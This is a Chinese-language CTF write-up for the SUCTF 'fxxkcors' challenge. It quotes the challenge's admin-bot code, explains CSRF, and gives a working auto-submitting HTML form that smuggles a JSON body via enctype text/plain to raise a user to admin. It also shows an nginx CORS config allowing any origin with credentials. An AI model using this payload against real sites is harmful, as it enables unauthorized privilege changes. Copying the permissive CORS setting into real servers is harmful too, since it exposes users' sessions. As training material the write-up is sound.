csrf | SUCTF-fxxkcors

fxxkcors

0x00 try

随意输入用户名密码(无需注册),自动跳转到主页面,点击changepermission,跳转到change.php,页面内容如下:

image-20220305230803594

有文本框和按钮,提示输入用户,就可变为admin

但是提交之后显示

permission denied

权限不够

因为自己不是admin

如何绕过admin的限制

查看change.php的源代码,看到一段js代码,看到username很锌粉

image-20220305232034197

0x01 What‘s XMLHttpRequest?

XML+Http+Request

XMLHTTP是一组API函数集,可被JavaScript、JScript、VBScript以及其它web浏览器内嵌的脚本语言调用,通过HTTP在浏览器和web服务器之间收发XML或其它数据。XMLHTTP最大的好处在于可以动态地更新网页,它无需重新从服务器读取整个网页,也不需要安装额外的插件。该技术被许多网站使用,以实现快速响应的动态网页应用。

什么是 XML?

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 被设计为传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。
  • HTML 旨在显示信息,而 XML 旨在传输信息。

http 超文本传输协议

request 客户端请求

XMLHttpRequest这种技术我们愿称之为ajax (Asynchronous Javascript And XML)(异步JavaScript和XML)

0x02 code1

function submitRequest(username)
{
    // 新建一个XMLHttpRequest对象
    var xhr= new XMLHttpRequest();
    // 使用open方法初始化
    xhr.open("POST", "changeapi.php", true);
    //添加HTTP请求头部
    xhr.setRequestHeader("Accept", "application/json, text/plain,*/*");
    xhr.setRequestHeader("Accept-Language", "zh-CN, zh; q=0.8, en-US; q=0.5, en; q=0.3");
    xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8"); 
    xhr.withCredentials = true;
    // 使用send方法发送请求
    xhr.send(JSON.stringify({'username': username})); 
    // 绑定事件,在xhs的readystate属性发生改变时做出处理
    xhr.onreadystatechange = function(){
        if(xhr.readyState === XMLHttpRequest.DONE) {
            if(xhr.responseText === 'nop'){
                alert('no permission or something wrong');
            }
            else{
                alert('success');
            }
        }
    }
}

结合注释,代码很好理解

提及了一个更改权限的文件

changeapi.php,尝试直接访问报错

那么chang.php的作用仅是让我们提交想要更改的用户名而已。

0x03 code2

访问题目给的3个网址随意一个http://159.138.56.26:3000/fxxkcors

都是有一个文本框让我们输入提交。

image-20220309085604635

有关源码fxxkcors.js:

const opt = {
    name: "fxxkcors",
    router: "fxxkcors",
    site: process.env.FXXK_SITE ?? "",

}
//创建Promise对象
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))

const visit = async (browser, url) =>{
    let site = process.env.FXXK_SITE ?? ""
    console.log(`[+]${opt.name}: ${url}`)
    let renderOpt = {...opt}
    try {
        //通过 Browser 对象创建页面 Page 对象
        const loginpage = await browser.newPage()
        //通过 goto 跳转到 site
        await loginpage.goto(site)
        //匹配文本框元素,以及要输入的字符串
        await loginpage.type("input[name=username]", "admin")
        await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "")
        await Promise.all([
            //匹配按钮并点击提交
            loginpage.click('button[name=submit]'),
            loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
        ])
        //跳转
        await loginpage.goto("about:blank")
        //关闭页面
        await loginpage.close()

        const page = await browser.newPage()
        await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})

        await delay(2000) /// waiting 2 second.
        console.log(await page.evaluate(() =>  document.documentElement.outerHTML))

    }catch (e) {
        console.log(e)
        renderOpt.message = "error occurred"
        return renderOpt
    }
    renderOpt.message = "admin will view your report soon"
    return renderOpt
}

module.exports = {
    opt:opt,
    visit:visit
}

这段code的作用在于登陆admin用户,browser保存cookie,然后访问我们提交的url

已经是admin身份,就要联想到前面遇到的权限限制,时刻知道这里有admin,有cookie

如何利用?

0x04 csrf

img

攻击者盗用了你的身份,以你的名义发送恶意请求。

图中两个难点

  • 如何让其访问我们的网站

  • 如何让C的browser按我们网站的要求去做

在这道题中,只有后者的问题

让C的browser的按照我们所想,带着他的amdin身份和我们的用户名访问api接口,成功修改权限

0x05 exploit

要让fxxkcors网站服务器访问到,必须得有公网ip

搭建web服务,在网站目录下存放一个html

<html>
<body>
<form  name="form1" action="http://124.71.205.122:10002/changeapi.php" method="post" enctype="text/plain">
<input name='{"username":"ln", "test":"' value='test"}'type='hidden' >
<input type="submit" value>
</form>
<script>
        document.forms.form1.submit();
</script>
</body>
</html>

这个html很简单,就是文本框,内容提前写好,自动调用submit提交

把这个网址url提交给fxxkcores web服务器,这样就能实现让fxxkcores web服务器访问我们的构造的网页,进而自动提交内容给我们指定网址 即改权限的api接口。

内容的构造还得花心思,前面xmlhttprequest指定的传输数据格式是json格式的

 xhr.send(JSON.stringify({'username': username})); 

所以自动提交的也必须是json格式的

<input name='{"username":"ln", "test":"' value='test"}' ... >

最后还要注意

除了指定的方法要是post之外,还要指定其为文本类型

避免被编码

 < ...  method="post" enctype="text/plain">

最后我们抓个包测试看看有无问题

跨域请求访问问题

0x05 cors(Cross-Origin Resource Sharing)

image-20220306011121180

http://159.138.56.26:3000/fxxkcors

http://124.71.205.122:10002/changeapi.php

原因

出于浏览器的同源策略限制。

同源策略(Same Orgin Policy)是一种约定,它是浏览器核心也最基本的安全功能,它会阻止一个域的js脚本和另外一个域的内容进行交互,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击。所谓同源(即在同一个域)就是两个页面具有相同的协议(protocol)、主机(host)和端口号(port)

如何解决?

以Nginx为例,如果配置文件中增加如下配置项,那么服务器会自动在http响应的时候,在头部添加字段“Access-Control-Allow-Origin: *”和“Access-Control-Allow-Credentials: true”,表示允许任意源站访问本站(跨域访问),以及允许跨域访问时带上本站cookie。

location ~ \.(php|php5|PHP)$ { ...  
add_header Access-Control-Allow-Origin *;add_header Access-Control-Allow-Credentials 'true';
}

1)Access-Control-Allow-Origin

2)Access-Control-Allow-Credentials

表示是否允许浏览器跨域访问时带上本站cookie。

3)Access-Control-Allow-Methods

4)Access-Control-Allow-Headers

image-20220306083738069

posted @ 2022-04-27 17:06  DAMOXILAI  阅读(99)  评论(0编辑  收藏  举报